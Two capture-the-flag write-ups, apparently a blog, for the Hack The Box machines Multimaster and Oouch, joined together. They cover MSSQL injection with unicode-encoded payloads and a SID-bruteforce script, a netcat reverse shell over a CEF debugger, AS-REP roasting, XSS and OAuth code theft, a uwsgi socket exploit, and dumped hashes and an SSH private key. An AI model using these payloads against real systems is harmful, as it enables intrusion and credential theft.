Multimaster is the fourth insane rated box I have done and was worth doing. Bear with me this write up as I did not take notes and am pressed for time and will be skipping things which should be obvious such as spraying passwords.
Excuses out of the way shall begin with a normal nmap scan with -sC -sV -o arguments.
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: MegaCorp
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-07 19:50:10Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: MEGACORP
| NetBIOS_Domain_Name: MEGACORP
| NetBIOS_Computer_Name: MULTIMASTER
| DNS_Domain_Name: MEGACORP.LOCAL
| DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
| DNS_Tree_Name: MEGACORP.LOCAL
|_ Product_Version: 10.0.14393
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2020-03-07T19:09:30
|_Not valid after: 2050-03-07T19:09:30
|_ssl-date: 2020-03-07T19:52:53+00:00; +2h03m38s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: MEGACORP
| NetBIOS_Domain_Name: MEGACORP
| NetBIOS_Computer_Name: MULTIMASTER
| DNS_Domain_Name: MEGACORP.LOCAL
| DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
| DNS_Tree_Name: MEGACORP.LOCAL
| Product_Version: 10.0.14393
|_ System_Time: 2020-03-07T19:52:33+00:00
| ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL
| Not valid before: 2020-03-06T19:08:49
|_Not valid after: 2020-09-05T19:08:49
|_ssl-date: 2020-03-07T19:52:52+00:00; +2h03m38s from scanner time.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/7%Time=5E63DDFC%P=x86_64-unknown-linux-gnu%r(
SF:DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07vers
SF:ion\x04bind\0\0\x10\0\x03");
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 3h12m12s, deviation: 3h01m27s, median: 2h03m37s
| ms-sql-info:
| 10.10.10.179:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: MULTIMASTER
| NetBIOS computer name: MULTIMASTER\x00
| Domain name: MEGACORP.LOCAL
| Forest name: MEGACORP.LOCAL
| FQDN: MULTIMASTER.MEGACORP.LOCAL
|_ System time: 2020-03-07T11:52:36-08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-03-07T19:52:33
|_ start_date: 2020-03-07T19:08:54
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 7 12:51:17 2020 -- 1 IP address (1 host up) scanned in 328.69 seconds
we see in the scan it uses the domain MEGACORP.LOCAL and has the computer name of MULTIMASTER and that it is an active directory server that has a webserver.
While we enumerate the webserver we can run kerbrute in the background.
./kerbrute_linux_amd64 userenum -d MEGACORP.LOCAL --dc 10.10.10.179 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt
this is the main page and isn't really interactable except for the login and colleague finder feature. if we play with the colleague finder in burp we can discover some interesting behaviors. First we can use it normally to find out how it should work.

if we intercept the request and begin to play with it we can find that some characters/words are black listed.


, and or are blocked. Let's see if we can use unicode or something that wouldn't be put in a blacklist. If we convert the string zac (one of the employees listed) to unicode we will receive results for zac.

we can take this a step further and try and sql inject with unicode instead of ascii. Let's try with the payload 1' or '1'='1'– encoded to unicode...
And just like that we get all the employees.

We can find the columns through a union request, be wary all requests that don't have the right amount of columns return null. 1' union select 1,2,3,4,5 – did the trick

there are 5 columns now let's extract the tables. Mssql is a bit different in extracting the table names compared to mysql, to extract tables we use the payload: 1' union select 1,2,3,name,5 FROM sysobjects WHERE xtype = 'U'--.

if you pay attention to the fourth column you see that Logins and Colleagues are the two tables. To extract the column names we can use this query: 1' UNION SELECT 1,column_name,3,4,5 from information_schema.columns where table_name = 'Logins'-- - unicoding the payload and sending it gives us these column names.

Now we can extract the id,username, and password with this query.
1' union all select 1,id,username,password,5 from Logins-- -
these are the usernames and hashes returned from the query.
sbauer :9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
okent :fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa
ckane :68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
kpage :68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
shayna :9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
james :9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
cyork :9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
rmartin :fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa
zac :68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
jorden :9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
alyx :fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa
ilee :68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
nbourne :fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa
zpowers :68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
aldom :9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
minatotw :cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc
egre55 :cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc
We can crack these hashes using hashcat with the wordlist, rockyou.txt, but first we have to find out what type of hashes these are. https://hashes.com/en/tools/hash_identifier works and identifies it is keccak-384

Unfortunately john does not support the format so a buddy cracked it using hashcat. these are the three passwords recovered: finance1, password1, and banking1
now that we have some passwords let's check and see how our kerbrute turned out.
2020/03/08 22:09:31 > [+] VALID USERNAME: [email protected]
2020/03/08 22:09:32 > [+] VALID USERNAME: [email protected]
2020/03/08 22:09:35 > [+] VALID USERNAME: [email protected]
2020/03/08 22:09:35 > [+] VALID USERNAME: [email protected]
2020/03/08 22:09:38 > [+] VALID USERNAME: [email protected]
2020/03/08 22:09:45 > [+] VALID USERNAME: [email protected]
2020/03/08 22:09:45 > [+] VALID USERNAME: [email protected]
2020/03/08 22:09:54 > [+] VALID USERNAME: [email protected]
2020/03/08 22:09:56 > [+] VALID USERNAME: [email protected]
2020/03/08 22:10:16 > [+] VALID USERNAME: [email protected]
2020/03/08 22:10:49 > [+] VALID USERNAME: [email protected]
2020/03/08 22:11:10 > [+] VALID USERNAME: [email protected]
2020/03/08 22:12:00 > [+] VALID USERNAME: [email protected]
2020/03/08 22:12:04 > [+] VALID USERNAME: [email protected]
2020/03/08 22:13:25 > [+] VALID USERNAME: [email protected]
2020/03/08 22:16:24 > [+] VALID USERNAME: [email protected]
2020/03/08 22:18:37 > [+] VALID USERNAME: [email protected]
2020/03/08 22:21:16 > [+] VALID USERNAME: [email protected]
2020/03/08 22:25:31 > [+] VALID USERNAME: [email protected]
NOTE before the box was patched we were able to find alcibiades from kerbruting but apparently it was unintended and we are supposed to find the user from mssql by doing sid bruteforcing. but before the patch we could password spray and login with the alcibiades account.
This script made by anondeek, a fellow teammate, will bruteforce the users based off of the SID
import requests
import json
import re
import time
url = "http://10.10.10.179/api/getColleagues"
for x in range(1100,11000,1000):
for inc in range(100):
domain_SID = '0x0105000000000005150000001C00D1BCD181F1492BDFC236'
temp = '0' + hex((x+inc))[2:].upper() #ex: 0123
byteArray = bytearray.fromhex(temp)
byteArray.reverse()
reversed = ''.join('%02x'%i for i in byteArray).upper() #ex :2301
RID = domain_SID + reversed + 4 * '0'
query = "a'UNION ALL SELECT 1,2,3,4,SUSER_SNAME("+RID+")-- -"
pattern = re.compile(r'([0-9a-f]{2})')
query = pattern.sub(r"\\u00\1", query.encode('hex'))
#print("encrypted payload: "+query)
queryData = '{"name": "'+query+'"}'
res = requests.post(url, data= queryData, headers={"Content-Type":"application/json;charset=utf-8"})
if res.status_code == 403:
print("we are blocked,waiting...")
time.sleep(15)
continue
jsonData = json.loads(res.content)
#print(jsonData)
formated = json.dumps(jsonData, indent=4, sort_keys=True)
print(formated)
Through this we can find the user not found in our kerbrute or mssql dump: MEGACORP\tushikikatomo
now we can password spray and login with winrm.
./evil-winrm.rb -i 10.10.10.179 -u tushikikatomo -p finance1
*Evil-WinRM* PS C:\Users\alcibiades\Desktop> type user.txt
bc45208ZZZZZZZ1f7408f7cba446
User has been obtained
We can transfer winPEAS.bat to the box and run it and notice it has vscode and if we look at the process list with ps we notice that "Code" is running. looking at the listening ports we see ports that vscode could potentially be using.
We transfer cefdebug, downloaded from https://github.com/taviso/cefdebug/releases/tag/v0.2, which can exploit the vulnerability if present.
we run it and get the following from running .\cefdebug.exe
[2020/09/17 21:38:09:6084] U: There are 3 tcp sockets in state listen.
[2020/09/17 21:38:29:6373] U: There were 1 servers that appear to be CEF debuggers.
[2020/09/17 21:38:29:6373] U: ws://127.0.0.1:36696/78b14d94-6dbb-436c-b9f9-36b637e7fd4c
now we can run the command
.\cef.exe --url ws://127.0.0.1:36696/78b14d94-6dbb-436c-b9f9-36b637e7fd4c --code "process.mainModule.require('child_process').exec('C:/temp/nc.exe -e cmd.exe 10.10.15.69 1339')"and get a shell as cyork.
C:\Program Files\Microsoft VS Code>whoami
whoami
megacorp\cyork
if I look at the groups for cyork from whoami /priv I have the MEGACORP\Developers role.
if we look in the inetpub\wwwroot\bin we see some interesting binaries related to multimaster, specifically one called MultimasterAPI.dll. if we run type on it and read the strings in it we can find some credentials in it.
server=localhost;database=Hub_DB;uid=finder;password=D3veL0pM3nT!this is the password we find hardcoded in the dll. If we spray this password against all the users we get in with sbaur. Now we need to enumerate active directory to see what our next plan of attack is. To do so we can use ADRecon to generate a report and review it. Simply copy it over and run it and copy the report back to your host machine. If we look at the DACLS and specifically look at what sbaur can do we can see that he has generic write on jorden.

Since we have GenericWrite we can change the attributes of the user, if we disable pre-auth we can AS_REP roast them and get their hash. to disable preauth, or enable not requriring preauth, we can run this powershell comand.
Set-ADAccountControl jorden -DoesNotRequirePreAuth $true
now we can use GetNPUsers.py to get the hash.

and can easily crack it with john

jorden's password is rainforest786
We now can winrm in as her and see her privileges:

SeBackUpPrivilege means we are able to read any unencrypted file on the machine. with this we can make local copies of the NTDS.dit file and system file and extract the hashes and pass the hash to login as administrator, but I will save that technique for a future writeup up and for now will just read the root flag.
robocopy c:\Users\Administrator\Desktop C:\temp\ root.txt /b
This command will copy the file to C:\temp\ and we can now read it.
*Evil-WinRM* PS C:\temp> type root.txt
940d983b07ZZZbcb001af4edd1a155de
ROOTED
]]>Enumeration
As usual we start of with an nmap scan with the flags -sC -sV
# Nmap 7.80 scan initiated Sun Mar 15 20:05:30 2020 as: nmap -sC -sV -oA nmap 10.10.10.177
WARNING: Service 10.10.10.177:8000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Nmap scan report for oouch.htb (10.10.10.177)
Host is up (0.091s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 49 Feb 11 18:34 project.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.25
| Logged in as ftp
| TYPE: ASCII
| Session bandwidth limit in byte/s is 30000
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
|_ 256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
5000/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-title: Welcome to Oouch
|_Requested resource was http://oouch.htb:5000/login?next=%2F
8000/tcp open rtsp
| fingerprint-strings:
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
| <h1>Bad Request (400)</h1>
| RTSPRequest:
| RTSP/1.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
| <h1>Bad Request (400)</h1>
| SIPOptions:
| SIP/2.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
|_ <h1>Bad Request (400)</h1>
|_http-title: Site doesn't have a title (text/html).
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
From this we can see that there are two http servers one on port 5000 and port 8000 and ftp listing a file we can anonymously download and ssh running.
project.txt shows that there is a flask and django server, one for consumers and one for Authorization.
Flask -> Consumer
Django -> Authorization Server
port 5000 enumeration
if we go to port 5000 it wants us to login or register an account

once we register and log in we see some flask endpoints and can gobust with the session cookie for more.

➜ ~ gobuster dir -u http://10.10.10.177:5000/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -c 'session=.eJytj01OAzEMRq-SZj1CcX4mSU-BYMECVZXjONMR0w6aZDZUvTsBrsDGnz7ZT3q-y3NZsF64yuP7XYrWQ165VpxYDvJ5YawslnUS8020VSBRX4p2mav47DdP8vQY_o974WmubcM2rzfxuv9CZV8O4o0XWq8svg4dPA3deuN6kce27dzbnOVRBsqj8Tl5NApi6KMUykWjCxHQaG-CSw5wdAZoDGhswpCDApXH4kwgFUbOCQ0GsBAVeg0FbIpBp-zRkrU6-YikgFK0hcEWVUwclY0E-cef6lbObf3gW_exykfWVDBwzBlBO3C-ZE0csiMdnTcJErrO7ZW3vye0fHwDK_J8AA.XyTvTQ.5BjxiJCUyn1b0d8jZ5W069BdJrE'
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.177:5000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] Cookies: session=.eJytj01OAzEMRq-SZj1CcX4mSU-BYMECVZXjONMR0w6aZDZUvTsBrsDGnz7ZT3q-y3NZsF64yuP7XYrWQ165VpxYDvJ5YawslnUS8020VSBRX4p2mav47DdP8vQY_o974WmubcM2rzfxuv9CZV8O4o0XWq8svg4dPA3deuN6kce27dzbnOVRBsqj8Tl5NApi6KMUykWjCxHQaG-CSw5wdAZoDGhswpCDApXH4kwgFUbOCQ0GsBAVeg0FbIpBp-zRkrU6-YikgFK0hcEWVUwclY0E-cef6lbObf3gW_exykfWVDBwzBlBO3C-ZE0csiMdnTcJErrO7ZW3vye0fHwDK_J8AA.XyTvTQ.5BjxiJCUyn1b0d8jZ5W069BdJrE
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2020/07/31 22:34:19 Starting gobuster in directory enumeration mode
===============================================================
/contact (Status: 200)
/logout (Status: 302)
/login (Status: 302)
/register (Status: 302)
/about (Status: 200)
/home (Status: 200)
/profile (Status: 200)
/documents (Status: 200)
/oauth (Status: 200)
===============================================================
2020/07/31 22:38:21 Finished
===============================================================
I chose to use the /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt wordlist because I wanted something somewhat short and recently made. We can see the /oauth endpoint which if the name didn't give away is going to be the path to foothold on this machine.
Some interesting and crucial endpoints are /oauth and /contact

Contact allows us to send feedback to the system administrator, we can abuse this and have the admin make web requests through tags like <script src = <malicious_url>.
We can test this out by sending the payload.
<sCript src=http://10.10.14.230/test> </sCript>And we get the request
sudo nc -lvnp 80
Listening on 0.0.0.0 80
Connection received on 10.10.10.177 39620
GET /test HTTP/1.1
Host: 10.10.14.230
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
/oauth reveals this.

Notice consumer.oouch.htb and that we can connect accounts.
port 8000
since the flask consumer site is reachable at consumer.oouch.htb we can assume that the django authorizatoin site is reachable at authorization.oouch.htb. To find this we can assume like we have done, use the /oauth/connect, or we can bruteforce vhosts using gobuster or wfuzz.
Navigating to http://authorization.oouch.htb:8000/ reveals such.

We can create another account here and can assume this is what is being connected on the consumer end.
When we register an account it shows us the endpoints relevant to the operation.

In order to use what we have we first must understand how oauth works and how we can attack it, the blog post https://dhavalkapil.com/blogs/Attacking-the-OAuth-Protocol/ d gives enough information of what to do but I recommend you take a deeper dive into oauth and understand it more than just enough to complete this box.
After familiarizing ourselves with the protocol we see that we can connect the admin's account to our account on port 8000. To begin this attack we are going to need to use burp.
to complete this account connection you need to go to the endpoint /oauth/connect and capture the request with the token and then send that in the message to the admin, once you have done so you need to navigate to /oauth/login and authorize

go to /contact and send the url: http://consumer.oouch.htb:5000/oauth/connect/token?code=HqvCpor138ZL9nd0nYDuNRGZEf8Q9R
then navigate to /oauth/login and Authorize it

and now looking at /profile shows that we are qtc!

if we go to Documents we can see the things qtc has access to.

we find there is an /api/ and credentials that we can use to register an application.
since all endpoints on port 8000 start with /oauth we dirbust and find that /oauth/applications/register exists and uses the credentials found in dev_access.txt.

from here we can create a new application and add our own ip as a redirect uri make client-type to public and authorization grant type authorization-code.

Now with this new redirect uri allowed we are able to steal qtc's code and impersonate him and make api requests as him. This site also shows us how to get from a code to api access https://auth0.com/docs/api-auth/tutorials/authorization-code-grant but first we must get his code.
Doing so is pretty simple all we need to do is make qtc's account make a request to https://provider.com/oauth/authorize?client_id=CLIENT_ID&response_type=code&redirect_uri=http://us/
where we replace the client_id with the application's.
http://authorization.oouch.htb:8000/oauth/authorize/?redirect_uri=http://10.10.14.230/&scope=read&client_id=qnRsHZ30gB4amI0LAeEIC5JJiaHHHU5nwXQyZshS&state=&response_type=code&allow=Authorize will work in our case.
sudo nc -lvnp 80
Listening on 0.0.0.0 80
Connection received on 10.10.10.177 49790
GET /?code=KhJ6fi3Q6yWtylRqCzQVrgcs4PN4RQ HTTP/1.1
Host: 10.10.14.230
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: sessionid=33ir3fbimtv064cbgevcwvdmm1i3bdug;
with this code we can now make another request to get the BEARER code to make requests to the api
curl --request POST --url 'http://authorization.oouch.htb:8000/oauth/token/' --header 'content-type: application/x-www-form-urlencoded' --data grant_type=authorization_code --data 'client_id=qnRsHZ30gB4amI0LAeEIC5JJiaHHHU5nwXQyZshS' --data client_secret=rIWVxpHsdsLM2xlnH9laKI9aDrRwJR8HtHvs17yzcJtXrXAiFXJtjsgVVZVdX6UajoO8JQxzE8vZgrchCg5vLB5IDVHx60E6BXXRhqwEAB3Gsnq28A8tr38th4Gv2mfL --data code=KhJ6fi3Q6yWtylRqCzQVrgcs4PN4RQ --data 'redirect_uri=http://10.10.14.230/'{"access_token": "EgJehhLCvDShHSrVi93Q5w6SeSMib1", "expires_in": 600, "token_type": "Bearer", "scope": "read", "refresh_token": "EpT8rSmBrs0Pserf3eLUtzj8F2oL5M"}curl request made from this https://auth0.com/docs/api-auth/tutorials/authorization-code-grant
Now we can play with the api
curl --request GET --url authorization.oouch.htb:8000/api/endpoint --header 'authorization: Bearer EgJehhLCvDShHSrVi93Q5w6SeSMib1' --header 'content-type: application/json'curl --request GET --url authorization.oouch.htb:8000/api/get_users --header 'authorization: Bearer EgJehhLCvDShHSrVi93Q5w6SeSMib1' --header 'content-type: application/json'
{"username": "qtc", "firstname": "", "lastname": "", "email": "[email protected]"}Remember in /documents that users could get an ssh key? Let's play with the api and see if we can pull anything related to that.
/api/get_ssh_key works

We can print the text in python to get the private key in the right format
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
and now we can ssh in as qtc and are user.

If we run ps aux we can list the processes running and see there are two docker containers with one running the consumer and other the authorization server.

when we try to access these boxes with ssh we get into 127.18.0.4

in the root directory there is a code directory containing the source code for the consumer application and interestingly in /tmp there is a uwsgi socket.
qtc@aeb4525789d8:/code/oouch$ ls /tmp
uwsgi.socket
if we look further down the code directory we can find in routes.py it banning ip addresses for xss attempt through messing with dbus.
def contact():
'''
The contact page is required to abuse the Oauth vulnerabilities. This endpoint allows the user to send messages using a textfield.
The messages are scanned for valid url's and these urls are saved to a file on disk. A cronjob will view the files regulary and
invoke requests on the corresponding urls.
Parameters:
None
Returns:
render (Render) Renders the contact page.
'''
# First we need to load the contact form
form = ContactForm()
# If the form was already submitted, we process the contents
if form.validate_on_submit():
# First apply our primitive xss filter
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
# The regex defined at the beginning of this file checks for valid urls
url = regex.search(form.textfield.data)
if url:
# If an url was found, we try to save it to the file /code/urls.txt
try:
with open("/code/urls.txt", "a") as url_file:
print(url.group(0), file=url_file)
except:
print("Error while openeing 'urls.txt'")
# In any case, we inform the user that has message has been sent
return render_template('contact.html', title='Contact', send=True, form=form)
# Except the functions goes up to here. In this case, no form was submitted and we do not need to inform the user
return render_template('contact.html', title='Contact', send=False, form=form)
But if we try to mess with dbus we get permission denied when we try to block an ip address the same way routes.py does. this means that the www-data user has privileges we need to escalate to.
if we look for exploits against uwsgi sockets we can find some chinese exploit against exposed uwsgi sockets found here https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py .
This exploit needs very slight modifications for it to run. all that is needed is to change the function sz()
#from
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
if sys.version_info[0] == 3: import bytes
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]
#to
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
s = bytes.fromhex(s)
return s[::-1]
Because of the docker's limited tools to edit files I just base64'd the python exploit and echo'd into a file and base64 -d the file to transfer such.
qtc@aeb4525789d8:/tmp$ python exploit.py -m unix -u /tmp/uwsgi.socket -c "whoami > /tmp/test"
[*]Sending payload.
qtc@aeb4525789d8:/tmp$ cat test
www-data
qtc@aeb4525789d8:/tmp$
it works and we can see in pspy, from here we can get a shell. We can copy the host's netcat and transfer it using the base64 method and from there get a shell as www-data. To get the shell we can upload a basic python reverse shell using the same method as before but we need to set the ip we are connecting to as 172.18.0.1 because we have to listen on oouch.
qtc@aeb4525789d8:/tmp$ python exploit.py -m unix -u /tmp/uwsgi.socket -c "python /tmp/rev.py"
[*]Sending payload.
connect to [172.18.0.1] from (UNKNOWN) [172.18.0.4] 57258
/bin/sh: 0: can't access tty; job control turned off
now we can try messing with dbus to see what we can do and can maybe see with pspy running.
import sys
